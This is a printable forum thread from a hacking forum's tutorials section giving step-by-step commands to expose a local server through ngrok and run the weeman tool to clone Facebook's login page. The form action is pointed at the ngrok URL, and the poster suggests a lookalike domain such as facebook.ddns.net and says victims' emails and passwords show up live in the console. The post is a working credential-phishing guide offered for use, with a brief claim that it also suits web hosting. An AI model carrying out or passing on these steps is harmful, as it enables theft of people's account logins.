![]() |
|
Tutorial Mount a little server and use it to get activity from users - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: Tutorial Mount a little server and use it to get activity from users (/Thread-Tutorial-Mount-a-little-server-and-use-it-to-get-activity-from-users) |
Mount a little server and use it to get activity from users - conspir4cy - 10-27-2021 FIRST STEP: NOTE: This script is very old (a lot of years) and i am not sure if the errors downloading webpages are from old request or an issue in my isp or network. I tested before doing the tut and it worked using a localserver. Don't be mad if you have problems when downloading package you will visit this site: NGROK Go to https://ngrok.com/ and sign up a free account (remember that password must contain 10 characters) Then run following commands in your terminal: Code: curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip --output ngrok.zip
7z x ngrok.zip
./ngrok authtoken <AUTH_TOKEN_GENERATED_IN_YOUR_DASHBOARD>Your dashboard and authtoken should be in: https://dashboard.ngrok.com/get-started/your-authtoken it will say something like this: Authtoken saved to configuration file: /home/kali/.ngrok2/ngrok.yml later run following command to setup ngrok as a background service (will run until you close the terminal) SAVE in a notepad the xxxx.ngrok.io forwading url! SECOND STEP: open another terminal and run following commands: Code: git clone https://github.com/samyoyo/weeman.git
cd weeman && chmod 777 weeman.py
python weeman.pywhen open, run show command to see the setup screen showing u the config state. by default you will see something like this: ![]() run following commands as an example of configuration: Code: (weeman ) : set url https://www.facebook.com/
(weeman ) : set action_url xxxx.ngrok.io
(weeman ) : set port 8080
(weeman ) : runnote: if you receive following error: [16:49:34] Trying to get facebook.com ... [16:49:34] Downloadng wepage ... [16:49:34] Error: Weeman recived error! you will try to run a localhost server and change url to https://localhost note 2: if ngrok url says "Failed to complete tunnel connection" you must setup a localhost or open ports (default is 8080) in your router or firewall settings. in ngrok console you will see something like: HTTP Requests ------------- Code: GET /favicon.ico 502 Bad Gateway
GET / 502 Bad Gatewayweeman and ngrok works like a non dinamical ip server ![]() you can also signup in noip.com and register a more beaty domain like facebook.ddns.net and redirect it to your ngrok url. You must get 200 is OK. Your console must see like this, in weeman console should appear all activity from the site at real time (like when user put email and password): ![]() That's all, enjoy ![]() Note: this same tutorial will be useful if you want to mount a webserver and share your website. I recommend xampp as a good start |